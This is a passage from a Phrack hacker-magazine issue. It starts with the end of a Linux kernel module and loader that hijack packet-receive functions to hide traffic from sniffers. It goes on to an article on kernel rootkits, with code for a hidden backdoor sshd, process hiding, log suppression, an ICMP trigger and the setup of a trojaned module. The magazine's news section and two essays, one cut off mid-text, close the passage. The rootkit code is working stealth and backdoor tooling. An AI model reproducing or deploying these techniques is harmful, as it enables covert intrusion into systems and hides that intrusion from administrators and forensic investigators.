        return 0;                   /* Ignore this packet */

    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)rr, rr_orig, CODESIZE);
    retval = rr(sock, skb);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

int init_module()
{
    int sl_flags;                      /* Flags for spinlock */

    /* pr & rr set as module parameters. If zero or < PAGE_OFFSET
     * (which we treat as the lower bound of kernel memory), then
     * we will not install the hacks. */
    if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
        printk("Address for packet_rcv() not valid! (%08x)\n",
               (int)pr);
        return -1;
    }
    if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
        printk("Address for raw_rcv() not valid! (%08x)\n",
               (int)rr);
        return -1;
    }

    *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
    *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;

    HIJACK_LOCK;
    memcpy(pr_orig, (char *)pr, CODESIZE);
    memcpy((char *)pr, pr_code, CODESIZE);
    memcpy(rr_orig, (char *)rr, CODESIZE);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;

    EXPORT_NO_SYMBOLS;

    return 0;
}

void cleanup_module()
{
    int sl_flags;

    lock_kernel();

    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    memcpy((char *)rr, rr_orig, CODESIZE);
    HIJACK_UNLOCK;
    unlock_kernel();
}
<-->

<++> pcaphide/loader.sh
#!/bin/sh
#  Written by  grem, 30th June 2003
#  Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then
        echo "Use: $0 <System.map>";
        exit;
fi

MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then
        PR="00000000"
fi
if [ "$RR" = "" ]; then
        RR="00000000"
fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->

<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o

.c.o:
        $(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:
        rm -rf *.o
        rm -rf ./*~
<-->
```

------[References

This appendix contains a list of references used in writing this article.

[1] The tcpdump group
     http://www.tcpdump.org

[2] The Packet Factory
     http://www.packetfactory.net

[3] My network tools page -
     http://uqconnect.net/~zzoklan/software/#net_tools

[4] Silvio Cesare's Kernel Function Hijacking article
     http://vx.netlux.org/lib/vsc08.html

[5] Man pages for:
   - raw (7)
   - packet (7)
   - tcpdump (1)

[6] Linux kernel source files. In particular:
   - net/packet/af_packet.c   (for packet_rcv())
   - net/ipv4/raw.c   (for raw_rcv())

    - net/core/dev.c
    - net/ipv4/netfilter/*

[7] Harald Welte's Journey of a packet through the Linux 2.4 network stack
http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html

[8] The Netfilter documentation page
http://www.netfilter.org/documentation

[9] Phrack 55 - File 12 -
http://www.phrack.org/show.php?p=55&a=12

[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.

[B] Inside the Linux Packet Filter. A Linux Journal article
http://www.linuxjournal.com/article.php?sid=4852

```
|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile 0x0e of 0x0f

```
|=---------------------------------------------------------------------=|
|=-------------------=[ Kernel Rootkit Experiences ]=-----------------=|
|=---------------------------------------------------------------------=|
|=-----------------=[ stealth <stealth@segfault.net> ]=---------------=|
```

--[Contents

1 - Introduction

2 - Sick of it all?

3 - Let it log

4 - Let it rock

5 - Thinking about linking

6 - as in 2.6

7 - Last words & References

--[1 - Introduction

This article focuses on kernel based rootkits and how much they will be influenced by "normal" backdoors in future. Kernel based rootkits are there for a while, and they will be there in future, so some ideas and outlooks seem worth.

Before reading this article, you should read the article regarding the netfilter hooks and the LKM relinking first. The backdoor impmentations I am speaking of and code snippets will utilize these.

Please do not take this article too serious, it is not a description of how to hack if you read between the lines. I just express what I have experianced as "adore author" during the last years. This ranges from upset admins at congresses, weird questions at speaches, mails which cry for help, "adore sucks" messages at IRC, congratulations from .edu sites and so on.

--[2 - Sick of it all?

Rootkits, and kernel based rootkits in particular, are available since a few years now, and some research has been done in this field. A lot of blubbering and even more blahs are published from time to time, and this is really annoying so I can understand if you do not read articles about rootkits anymore. Nevertheless, new obstacles come up and have to be addressed by rootkit (-authors) in the future. These include but are not limited to:

- new kernel-versions and vendor extensions
- absence of important symbols (namely sys_call_table)
- advanced logging and auditing mechanisms
- kernel hardening, trusted OS etc.
- intrusion detection/abnormal behaivior detection
- advanced forensic tools and analysis methods

While some of these points I try to address in adore-ng like avoiding of sys_call_table[] usage via VFS layer redirection, some points are still topic of research. Rootkits usually include logfile cleaners for the [u,w]tmp files, but this bites with the "least privilege" principle rule for intruders, which turns into a "least uploads to the system" rule. So, one point is to try to avoid logging at all, at the backdoor level (LKM level in our case) to have less binaries on the

target system.
  The trusted OS thingie has to be addressed in a own paper, and I already know which kernel hardening I want to look at spender. :-)

--[3 Let it log

During a speach about rootkits at a certain university by a forensic company I got some nice ideas how one can improve invisibillity.
  Today, advanced folks is probably dont patching the sshd binary anymore, but placing apropriate authentitation tokens at certain places (yes, distributed authentication mechanisms can be nasty for forensics). So, if the intruder is going to use the standard tools (he can also post-install uninstalled libraries and packages if they are missing; do you know which of the 3 admins installed the openssh package at pc-5073?) the lkm-rootkit has somehow to ensure the logs the sshd sends go to /dev/null. One can do it this way:

```
  static int ssh(void *vp)
  {
          char *a[] = {"/usr/bin/perl", "-e",
          "$ENV{PATH}='/usr/bin:/bin:/sbin:/usr/sbin';"
          "open(STDIN,'</dev/null');open(STDOUT,'>/dev/null');"
          "open(STDERR,'>/dev/null');"
          "exec('sshd -e -d -p 2222');",
               NULL};

          task_lock(current);
          REMOVE_LINKS(current);
          list_del(&current->thread_group);
          evil_sshd_pid = current->pid;
          task_unlock(current);
          exec_usermodehelper(*a, a, NULL);
          return 0;

  }
```

This looks like it could be called as kernel_thread() by a netfilter hook eh? "-e" lets sshd log to stderr which is /dev/null in this case. Excellent. "-d" is a nice switch which forbids sshd to fork and therefore does not have open ports which can be detected after intruders login. REMOVE_LINK() makes the process invisible for ps and friends. Using perl is necessary to open stdin etc. because exec_usermodehelper() will close all files before starting sshd which makes sshd mix up stderr with the sockets when run with -e.
  The utmp/wtmp/lastlog logging can be avoided via:

```
        // parent must be evil sshd (since child which becomes the shell
        // logs the stuff)
        if (current->p_opptr &&
            current->p_opptr->pid == evil_sshd_pid && evil_sshd_pid != 0) {
                for (i = 0; var_filenames[i]; ++i) {
                        if (var_files[i] && f->f_dentry->d_inode->i_ino ==
                            var_files[i]->f_dentry->d_inode->i_ino) {
                                task_unlock(current);
                                *off += blen;
                                return blen;
                        }
                }
        }
```

It looks whether the loggie is the sshd and whether it tries to write [u,w]tmp entries into the appropriate files. Ofcorse we have to redirect the write() function in the VFS layer and to check the inode numbers to filter out the correct writes. Indeed, we would have to check the superblock too, but sshd is not going to write to files with the same inode# on a different disk I think.

Some pam modules open a session when one logs in, so a

```
  pam_unix2: session started for user root
```

might appear in the logs even by the evil sshd with log redirection. So, as it seems, the log-issue can be solved in future backdoors/rootkits without messing too much with the system binaries.

--[4 Let it rock

One needs a trigger to start the evil sshd, so nmap does not show open ports. Ofcorse. The netfilter article shows how one can build his own icmp-hooks to do so. I wont describe it again here, the article does it better than I could. Just one important point: as far as I have experianced you cannot start a program from within the hook directly. Kernel will crash badly, probably because the hook is somehow nested in an interrupt service routine. To overcome this problem, we set a flag that the sshd should be started:

```
        if (hit && (hit-1) % HIT_FREQ == 0) {
                write_lock(&ssh_lock);
                start_ssh = 1;
                write_unlock(&ssh_lock);
                return NF_DROP;
        }
```

and since we mess with the VFS layer anyway, we also redirect the open() call (of the particular FS which /etc holds) so the next process that is opening a file on the same FS is starting the evil sshd. That might be a "ls" by root or we trigger it ourself via the real sshd that is running:

```
  root@linux:root# telnet 127.0.0.1 22
  Trying 127.0.0.1...
  Connected to 127.0.0.1.
  Escape character is '^]'.
  SSH-2.0-OpenSSH_3.5p1
  SSH-2.0-OpenSSH_3.5p1              <<<<< pasted by attacker
  Connection closed by foreign host.
```

On my machine this causes logs from the real sshd:

```
  sshd[1967]: fatal: No supported key exchange algorithms
```

If one does not enter a valid protocol-string you get your IP logged:

```
  sshd[1980]: Bad protocol version identification '' from ::ffff:127.0.0.1
```

Might be there are other services (with zero logs) which open files and trigger the start of the evil sshd like a httpd.

Easy to see that it is possible for the kernel rootkit to supress certain log messages but by now it depends on the application and knowledge about when/what it will log. Not a too bad assumption for an intruder but in future intruders could use tainting-like mechanisms (taint every log-data that is caused by a hidden shell for example) to supress any logs the admin could find usefull for detecting the intruder.

--[5 Thinking about linking

There is an article regarding LKM infection, please read it, its worth to spend the time. :-)
However, one does not need to mess with the ELF format too much, a simple mmap() with a substitution of the init_module() and cleanup_module()

will suffice. Such a program has to be part of the rootkit, because rootkits have to be user-friendly, so they can easily set up by admins who run honeypot systems:

```
  root@linux:zero# ./configure
  Starting configuration ...
  generating secret pattern ...
  \\x37\\x8e\\x37\\x5f
  checking 4 SMP ... NO
  checking 4 MODVERSIONS ...NO


  Your secret ping commandline is: ping -s 32 -p 378e375f IP

  root@linux:zero# make
  cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
     -O2 -Wall zero.c
  cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
     -O2 -Wall -DSTANDALONE zero.c -o zero-alone.o
  cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
     -O2 -Wall cleaner.c
  root@linux:zero# ./setup
  The following LKMs are available:


  af_packet ppp_async ppp_generic slhc iptable_filter
  ip_tables ipv6 st sr_mod sg
  mousedev joydev evdev input uhci
  usbcore raw1394 ieee1394 8139too mii
  scsi cd cdrom parport_pc ppa

  Chose one: sg
  Choice was >>>sg<<<
  Searching for sg.o ...
  Found /lib/modules/2.4.20/kernel/drivers/scsi/sg.o!

  Copy trojaned LKM back to original LKM? (y/n)

  ...
```

zero.o is for relinkage with one of the chosen modules, but since this is already inserted into kernel, the intruder needs a standalone module: zero-alone.o.

For more ideas on linking and different platform approaches, please look at the particular article at [1].

--[6 as in 2.6

As of writing, the 2.6 Linux kernel is already in testing phase, and soon the first non-testing versions of it will be available. So, it is probably time to look at the new glitches. At [4] you find a version of adore-ng that already works with the Linux kernel 2.6. Beside some new headers the rootkit will need, the signatures of some functions we need to redirect changed. A not unusual thing. Not too much challenging. In particular the init and cleanup functions have to be announced to the LKM loader in a different way:

```
  #ifdef LINUX26
  static int __init adore_init()
  #else
  int init_module()
  #endif
```

and

```
  static void __exit adore_cleanup()
  #else
  int cleanup_module()
  #endif


   ...

  #ifdef LINUX26
  module_init(adore_init);
  module_exit(adore_cleanup);
  #endif
```

No big thing either. Adore-ng already uses the new VFS technique to hide files and processes, so we do not need to care about sys_call_table layout.

The most time-consuming part of porting adore to the 2.6 kernel was to find out how the LKMs are build at all. Its not enough to "cc" them to a single object file anymore. You have to link it against some other object-file compiled from a C-file containing certain infos and attributes like a

```
  MODULE_INFO(vermagic, VERMAGIC_STRING);
```

for example. I do not know why they depend on this.

And thats all for 2.6! No magic at all, except some hooks introduced in the kernel seem worth a look. :-)

--[7 Last words & references

Zero rootkit does not hide files, and it only hides the evil sshd process by removing it from the task-list. It is not wise to "halt" the system from such a process or its child. I tested zero on a SMP system but it freezed. No matter whether it was me or the "-f" insmod switch I had to use because of the different versions. If anyone is willing to grant (legal ofcorse!) access to a SMP box, let the phrack team or me know. Zero is experimental stuff, so please do not tell me you do not like it because it is missing a GUI or stuff.

Some links:

[1] Infecting Loadable Kernel Modules (in this release)
[2] Hacking da Linux Kernel Network Stack (in this release)
[3] http://stealth.7350.org/empty/zero.tgz
    (soon appears at http://stealth.7350.org/rootkits)
[4] http://stealth.7350.org/rootkits/adore-ng-0.24.tgz

|=[EOF]=--=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x0f of 0x0f

```
|=---------------=[ P H R A C K   W O R L D   N E W S ]=------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ Phrack Combat Journalistz ]=----------------------=|
```

Content

1 - Quickies
2 - Hacker Generations by Richard Thieme
3 - Citizen Questions on Citizenship by Bootleg
4 - The Molting Wings of Liberty by Beaux75

```
|=-----------------------------------------------------------------------=|
|=-=[ Quick News ]=------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
```

Microsoft got hit by SQL slammer worm:
[1] http://www.cnn.com/2003/TECH/biztech/01/28/microsoft.worm.ap/index.html
[2] http://www.thewmurchannel.com/technology/1940013/detail.html

They say they cought 'Fluffi Bunny':
[1] http://www.salon.com/tech/wire/2003/04/29/fluffi_bunni/index.html
[2] http://www.nandotimes.com/technology/story/872265p-6086707c.html

How Geroge W. Bush Won the 2004 Presidential Election. This article outlines the danger of electronic voting systems. It explains why voting systems are vulnerable to fraudulent manipulation by the companies manufactoring and supervising the systems.
[1] http://belgium.indymedia.org/news/2003/07/70542.php

FBI Says Iraw Situation May Spur 'Patriotic Hackers'
[1] http://www.washingtonpost.com/wp-dyn/articles/A64049-2003Feb12.html

Over 5 million Visa/MasterCard accounts hacked into. This happens all the day long but once in a while is one journalist making a media hype out of it and everyone starts to go crazy about it. Wehehehhehee.
[1] http://www.forbes.com/markets/newswire/2003/02/17/rtr881826.html

The Shmoo group build a robot that drives around to find WiFi AccessPoints. Wonder how long it will take until the first hacker mounts a WiFi + Antenna under a low-flying zeppelin / model aircraft...
[1] http://news.com.com/2100-1039_3-5059541.html

Linux achieved the Common Criteria security certification and is now allowed to be used by the federal government and other organizations.
[1] http://www.fcw.com/fcw/articles/2003/0804/web-linx-08-06-03.asp

$55 million electronic voting machines can be hacked into by a 15-year-old newbie. Guess who will win the 2004' election?
[1] http://www.washingtonpost.com/wp-dyn/articles/A25673-2003Aug6.html

UK Intelligence and Security Report Aug 2003. I like the quote: "Britain has a complicated and rather bureaucratic political control over its int elligence and security community and one that tends to apply itself to long-term targets and strategic intelligence programs, but has little real influence on the behaviour and operations of SIS or MI5."
[1] http://cryptome.org/uk-intel.doc

Man jailed for linking to bomb-side. Judge, psst, *hint*: Try http://www.google.com -> homemade bombs -> I feel lucky. Eh? Going to jail google now? Eh?
[1] http://www.cnn.com/2003/TECH/internet/08/05/anarchist.prison.ap/index.html

The military is thinking of planting propaganda and misleading stories in the international media [1]. A new department has been set up inside the Pentagon with the Orwellian title of the Office of Strategic Influence. The government had to rename the new department when its name leaked ([2]).

[1] http://news.bbc.co.uk/1/hi/world/americas/1830500.stm
[2] http://www.fas.org/sgp/news/secrecy/2002/11/112702.html
[3] http://www.fas.org/sgp/news/2002/11/dod111802.html

```
|=-----------------------------------------------------------------------=|
|=-=[ Hacker Generations ]=----------------------------------------------=|
|=-----------------------------------------------------------------------=|
```

Hacker Generations

by

Richard Thieme <rthieme at thiemeworks.com>

Richard Thieme speaks writes and consults about life on the edge, creativity and innovation, and the human dimensions of technology. His exploraitions of hacking, security, and many other things can be found at http://www.thiemeworks.com). A frequent speaker at security conferences, he keynoted the Black Hat Briefings - Europe in Amsterdam this year, the security track of Tech Ed sponsored by Microsoft Israel in Eilat, and returns to keynote Hiver Con in Dublin for a second time in November. In addition to numerous security cons (Def Con 4,5,6,7,8,9,10,11and Black Hat 1,2,3,4,5,6,7, Rubicon 2,3,4,5), he has spoken for the FBI, Infragard, the FS-ISAC, Los Alamos National Laboratory, and the US Department of the Treasury. Clients include Microsoft Israel, GE Medical Systems, and Network Flight Recorder.

First, the meaning of hacker

The word originally meant an inventive type, someone creative and unconventional, usually involved in a technical feat of legerdemain, a person who saw doors where others saw walls or built bridges that others thought were planks on which to walk into shark-filled seas. Hackers were alive with the spirit of Loki or Coyote or the Trickster, moving with stealth across boundaries, often spurning conventional ways of thinking and behaving. Hackers see deeply into the arbitrariness of structures, how form and content are assembled in subjective and often random ways and therefore how they can be defeated or subverted. They see atoms where others see a seeming solid, and they know that atoms are approximations of energies, abstractions, mathematical constructions. At the top level, they see the skull behind the grin, the unspoken or unacknowledged but shared assumptions of a fallible humanity. Thats why, as in Zen monasteries, where mountains are mountains and then they are not mountains and then they are mountains again, hacker lofts are filled with bursts of loud spontaneous laughter.

Then the playful creative things they did in the protected space of their mainframe heaven, a playfulness fueled by the passion to know, to solve puzzles, outwit adversaries, never be bested or excluded by arbitrary fences, never be rendered powerless, those actions began to be designated acts of criminal intent.. That happened when the space inside the mainframes was extended through distributed networks and ported to the rest of the world where things are assumed to be what they seem. A psychic space designed to be open, more or less, for trusted communities to inhabit, became a general platform of communication and commerce and security became a concern and an add-on. Legal distinctions which seemed to have been obliterated by new technologies and a romantic fanciful view of cyberspace a la Perry Barlow were reformulated for the new not-so-much cyberspace as cyborgspace where everyone was coming to live. Technologies are first astonishing, then grafted onto prior technologies, then integrated so deeply they are constitutive of new ways of seeing and acting, which is when they become invisible.

A small group, a subset of real hackers, mobile crews who merely entered and looked around or pilfered unsecured information, became the definition the media and then everybody else used for the word "hacker. "A hacker became a criminal, usually defined as a burglar or vandal, and the marks of hacking were the same as breaking and entering, spray painting graffiti on web site walls rather than brick, stealing passwords or credit card numbers.

At first real hackers tried to take back the word but once a word is lost, the war is lost. Hackernow means for most people a garden variety of online miscreant and words suggested as substitutes like technophile just don’t have the same juice.

So let’s use the word hacker here to mean what we know we mean because no one has invented a better word. We dont mean script kiddies, vandals, or petty thieves. We mean men and women who do original creative work and play at the tip of the bell curve, not in the hump, we mean the best and brightest who cobble together new images of possibility and announce them to the world. Original thinkers. Meme makers. Artists of pixels and empty spaces.

Second, the meaning of hacker generations

In a speech at the end of his two terms as president, Dwight Eisenhower coined the phrase "military-industrial complex" to warn of the consequences of a growing seamless collusion between the state and the private sector. He warned of a changing approach to scientific research which in effect meant that military and government contracts were let to universities and corporations, redefining not only the direction of research but what was thinkable or respectable in the scientific world. At the same time, a "closed world" as Paul N. Edwards phrased it in his book of the same name, was evolving, an enclosed psychic landscape formed by our increasingly symbiotic interaction with the symbol-manipulating and identity-altering space of distributed computing, a space that emerged after World War II and came to dominate military and then societal thinking.

Eisenhower and Edwards were in a way describing the same event, the emergence of a massive state-centric collaboration that redefined our psychic landscape. After half a century Eisenhower is more obviously speaking of the military-industrial-educational-entertainment-and-media establishment that is the water in which we swim, a tangled inescapable mesh of collusion and self-interest that defines our global economic and political landscape.

The movie calls it The Matrix. The Matrix issues from the fusion of cyborg space and the economic and political engines that drive it, a simulated world in which the management of perception is the cornerstone of war-and-peace (in the Matrix, war is peace and peace is war, as Orwell foretold). The battlespace is as perhaps it always has been the mind of society but the digital world has raised the game to a higher level. The game is multidimensional, multi-valent, played in string space. The manipulation of symbols through electronic means, a process which began with speech and writing and was then engineered through tools of literacy and printing is the currency of the closed world of our CyborgSpace and the military-industrial engines that power it.

This Matrix then was created through the forties, fifties, sixties, and seventies, often invisible to the hackers who lived in and breathed it. The hackers noticed by the panoptic eye of the media and elevated to niche celebrity status were and always have been creatures of the Matrix. The generations before them were military, government, corporate and think-tank people who built the machinery and its webbed spaces.

So I mean by the First Generation of Hackers, this much later generation of hackers that emerged in the eighties and nineties when the internet became an event and they were designated the First Hacker Generation, the ones who invented Def Con and all its spin-offs, who identified with garage-level hacking instead of the work of prior generations that made it possible.

Marshall McLuhan saw clearly the nature and consequences of electronic media but it was not television, his favorite example, so much as the internet that provided illustrations for his text. Only when the Internet had evolved in the military-industrial complex and moved through incarnations like Arpanet and Milnet into the public spaces of our society did people began to understand what he was saying.

Young people who became conscious as the Internet became public discovered a Big Toy of extraordinary proportions. The growing availability of cheap ubiquitous home computers became their platform and when they were plugged into one another, the machines and their cyborg riders fused. They co-created the dot com boom and the public net, and made necessary the security spaceperceived as essential today to a functional society. All day and all night like Bedouin they roamed the network where they would, hidden by sand dunes that changed shape and size overnight in the desert winds. That generation of hackers inhabited Def Con in the "good old days," the early nineties, and the other cons. They shaped the perception as well as the reality of the public Internet as their many antecedents at MIT, NSA, DOD and all the other three-letter agencies co-created the Matrix.

So I mean by the First Generation of Hackers that extended or distributed network of passionate obsessive and daring young coders who gave as much as they got, invented new ways of sending text, images, sounds, and looked for wormholes that let them cross through the non-space of the network and bypass conventional routes. They constituted an online meritocracy in which they bootstrapped themselves into surrogate families and learned together by trial and error, becoming a model of self-directed corporate networked learning. They created a large-scale interactive system, self-regulating and self-organizing, flexible, adaptive, and unpredictable, the very essence of a cybernetic system.

Then the Second Generation came along. They had not co-created the network so much as found it around them as they became conscious. Just a few years younger, they inherited the network created by their elders. The network was assumed and socialized them to how they should think and act. Video games were there when they learned how to play. Web sites instead of bulletin boards with everything they needed to know were everywhere. The way a prior generation was surrounded by books or television and became readers and somnambulistic watchers , the Second Generation was immersed in the network and became surfers. But unlike the First Generation which knew their own edges more keenly, the net made them cyborgs without anyone noticing. They were assimilated. They were the first children of the Matrix.

In a reversal of the way children learned from parents, the Second Generation taught their parents to come online which they did but with a different agenda. Their elders came to the net as a platform for business, a means of making profits, creating economies of scale, and expanding into a global market. Both inhabited a simulated world characterized by porous or disappearing boundaries and if they still spoke of a digital frontier, evoking the romantic myths of the EFF and the like, that frontier was much more myth than fact, as much a creation of the dream weavers at CFP as the old west was a creation of paintings, dime novels and movies.

They were not only fish in the water of the Matrix, however, they were goldfish in a bowl. That environment to which I have alluded, the military-industrial complex in which the internet evolved in the first place, had long since built concentric circles of observation or surveillance that enclosed them around. Anonymizers promising anonymity were created by the ones who wanted to know their names. Hacker handles and multiple nyms hid not only hackers but those who tracked them. The extent of this panoptic world was hidden by denial and design. Most on it and in it didn’t know it. Most believed the symbols they manipulated as if they were the things they represented, as if their tracks really vanished when they erased traces in logs or blurred the means of documentation. They thought they were watchers but in fact were also watched. The Eye that figures so prominently in Blade Runner was always open, a panoptic eye. The system could not be self-regulating if it were not aware of itself, after all. The net is not a dumb machine, it is sentient and aware because it is fused bone-on-steel with its cyborg riders and their sensory and cognitive extensions.

Cognitive dissonance grew as the Second Generation spawned the Third. The ambiguities of living in simulated worlds, the morphing of multiple personas or identities, meant that no one was ever sure who was who. Dissolving boundaries around individuals and organizational structures alike ("The internet? C’est moi!") meant that identity based on loyalty, glue born of belonging to a larger community and the basis of mutual trust, could not be presumed.

It’s all about knowing where the nexus is, what transpires there at the connections. The inner circles may be impossible to penetrate but in order to recruit people into them, there must be a conversation and that conversation is the nexus, the distorted space into which one is unknowingly invited and often subsequently disappears. Colleges, universities, businesses, associations are discovered to be Potemkin villages behind which the real whispered dialogue takes place. The closed and so-called open worlds interpenetrate one another to such a degree that the nexus is difficult to discern. History ends and numerous histories take their place, each formed of an arbitrary association and integration of data classified or secret at multiple levels and turned into truths, half-truths, and outright lies.

Diffie-Hellman’s public key cryptography, for example, was a triumph of ingenious thinking, putting together bits of data, figuring it out, all outside the system, but Whit Diffie was abashed when he learned that years earlier (1969) James Ellis inside the closed worldof British intelligence had already been there and done that. The public world of hackers often reinvents what has been discovered years earlier inside the closed world of compartmentalized research behind walls they can not so easily penetrate. (People really can keep secrets and do.) PGP was well, do you really think that PGP was news to the closed world?

In other words, the Second Generation of Hackers, socialized to a networked world, also began to discover another world or many other worlds that included and transcended what was publicly known. There have always been secrets but there have not always been huge whole secret WORLDS whose citizens live with a different history entirely but thats what we have built since the Second World War. Thats the metaphor at the heart of the Matrix and that’s why it resonates with the Third Generation. A surprising discovery for the Second Generation as it matured is the basis for high-level hacking for the Third.

The Third Generation of Hackers knows it was socialized to a world co-created by its legendary brethren as well as numerous nameless men and women. They know that we inhabit multiple thought-worlds with different histories, histories dependent on which particular bits of data can be bought on the black market for truth and integrated into Bigger Pictures. The Third Generation knows there is NO one Big Picture, there are only bigger or smaller pictures depending on the pieces one assembles. Assembling those pieces, finding them, connecting them, then standing back to see what they say - that is the essence of Third Generation hacking. That is the task demanded by the Matrix which is otherwise our prison, where inmates and guards are indistinguishable from each other because we are so proud of what we have built that we refuse to let one another escape.

That challenge demands that real Third Generation hackers be expert at every level of the fractal that connects all the levels of the network. It includes the most granular examination of how electrons are turned into bits and bytes, how percepts as well as concepts are framed and transported in network-centric warfare/peacefare, how all the layers link to one another, which distinctions between them matter and which dont. How the seemingly topmost application layer is not the end but the beginning of the real challenge, where the significance and symbolic meaning of the manufactured images and ideas that constitute the cyborg network create a trans-planetary hive mind. That's where the game is played today by the masters of the unseen, where those ideas and images become the means of moving the herd, percept turned into concept, people thinking they actually think when what has in fact already been thought for them has moved on all those layers into their unconscious constructions of reality.

Hacking means knowing how to find data in the Black Market for truth, knowing what to do with it once it is found, knowing how to cobble things together to build a Big Picture. The puzzle to be solved is reality itself, the nature of the Matrix, how it all relates. So unless youre hacking the Mind of God, unless you're hacking the mind of society itself, you arent really hacking at all. Rather than designing arteries through which the oil or blood of a cyborg society flows, you are the dye in those arteries, all unknowing that you function like a marker or a bug or a beeper or a gleam of revealing light. You become a means of control, a symptom rather than a cure.

The Third Generation of Hackers grew up in a simulated world, a designer society of electronic communication, but sees through the fictions and the myths. Real hackers discover in their fear and trembling the courage and the means to move through zones of annihilation in which everything we believe to be true is called into question in order to reconstitute both what is known and our knowing Self on the higher side of self-transformation. Real hackers know that the higher calling is to hack the Truth in a society built on designer lies and then the most subtle, most difficult part - manage their egos and that bigger picture with stealth and finesse in the endless ambiguity and complexity of their lives.

The brave new world of the past is now everyday life. Everybody knows that identities can be stolen which means if they think that they know they can be invented. What was given to spies by the state as a sanction for breaking laws is now given to real hackers by technologies that make spies of us all.

Psychological operations and information warfare are controls in the management of perception taking place at all levels of society, from the obvious distortions in the world of politics to the obvious distortions of balance sheets and earnings reports in the world of economics. Entertainment, too, the best vehicle for propaganda according to Joseph Goebbels, includes not only obvious propaganda but movies like the Matrix that serve as sophisticated controls, creating a subset of people who think they know and thereby become more docile. Thanks for that one, SN.

The only free speech tolerated is that which does not genuinely threaten the self-interest of the oligarchic powers that be. The only insight acceptable to those powers is insight framed as entertainment or an opposition that can be managed and manipulated.

Hackers know they don't know what's real and know they can only build provisional models as they move in stealthy trusted groups of a few. They must assume that if they matter, they are known which takes the game immediately to another level.

So the Matrix like any good cybernetic system is self-regulating, builds controls, has multiple levels of complexity masking partial truth as Truth. Of what else could life consist in a cyborg world? All over the world, in low-earth orbit, soon on the moon and the asteroid belt, this game is played with real money. It is no joke. The surrender of so many former rights - habeas corpus, the right to a trial, the freedom from torture during interrogation, freedom of movement without papers in ones own country - has changed the playing field forever, changed the game.

Third Generation Hacking means accepting nothing at face value, learning to counter counter-threats with counter-counter-counter-moves. It means all means and ends are provisional and likely to transform themselves like alliances on the fly.

Third Generation Hacking is the ability to free the mind, to live vibrantly in a world without walls.

Do not be deceived by uniforms, theirs or ours, or language that serves as uniforms, or behaviors. There is no theirs or ours, no us or them. There are only moments of awareness at the nexus where fiction myth and fact touch, there are only moments of convergence. But if it is all on behalf of the Truth it is Hacking. Then it can not fail because the effort defines what it means to be human in a cyborg world. Hackers are aware of the paradox, the irony and the impossibility of the mission as well as the necessity nevertheless of pursuing it, despite everything. That is, after all, why they're hackers.

Thanks to Simple Nomad, David Aitel, Sol Tzvi, Fred Cohen, Jaya Baloo, and many others for the ongoing conversations that helped me frame this article.

Richard Thieme

```
|=-----------------------------------------------------------------------=|
|=-=[ Citizen Questions on Citizenship ]=--------------------------------=|
|=-----------------------------------------------------------------------=|
```

by Bootleg

(Please READ everything then check out my posts by Bootleg on this forum: http://forums.gunbroker.com/topic.asp?TOPIC_ID=22130)

"A Citizen Questions on Citizenship" or "Are outlaws screwing your inlaws without laws?"

What's the difference in "Rights" between a citizen who is an excon and a citizen who is not? What law gives the government the right to permanently take away certain rights from an excon without a judge proscribing the rights be taken away? When has an excon ever been taken to court to have his civil rights stripped away permanently?

When has an excon ever been arrested and prosecuted on any law that specifically says since they are excons they must now go to trial to fight for their right to keep all their civil rights? In American law, ONLY a JUDGE can proscribe penalties against a citizen and only after being allowed a trial by his peers and only for specific charges brought against him. How then can an excons rights be stripped away if he has never been in front of a judge for a charge of possessing civil rights illegally? What law exists that states certain civil rights exist only for certain people?

I've been convicted of several felonies and not once during sentencing has any judge ever said I was to loose any of my civil rights as part of my sentence! If no judge has ever stripped my rights as part of any criminal sentence they gave me, how then can I not still have them? Furthermore... why does my wife and children also loose some of their civil rights simply because they are part of my family even though they have never committed any crime????

Are excons having their civil rights taken WITHOUT due process and without equal protection the true intent of the Bill of Rights and the Constitution? Or should all rights be restored after an excon pays his debt to society like they have always been throughout our history? Since an excon is still a citizen, then what kind of citizen is he under our Constitution that states all citizens have equal rights? If the government can arbitrarily take most of an excons rights away without due process, can they then take one or more rights away from other groups of citizens as they see fit thus making a layered level of citizenship with only certain groups enjoying full rights? Either they can do this or they can’t according to the Constitution. If they do it to even one group of citizens...excons, then are they not violating the Constitution? Are all American citizens "EQUAL" the Constitution and is that not the intent of those that wrote the constitution as evidenced by their adding the "Bill of Rights" guaranteeing "Equality" for ALL citizens?

Just as "blacks" were slaves and had no rights even as freemen in the past, even as women couldn’t vote till the 20th century, even as the aged and disabled were denied equal rights till recently, so now does one more group of millions of citizens exist that are being uncoonstitutionally denied their birthright as American citizens. This group is the millions of American citizens that are exconvicts and their families! ARE THEY CITIZENS OR NOT? The law says they still are citizens even if they are excons. If this is the case, then under our Constitution, are not ALL citizens equal having equal rights?

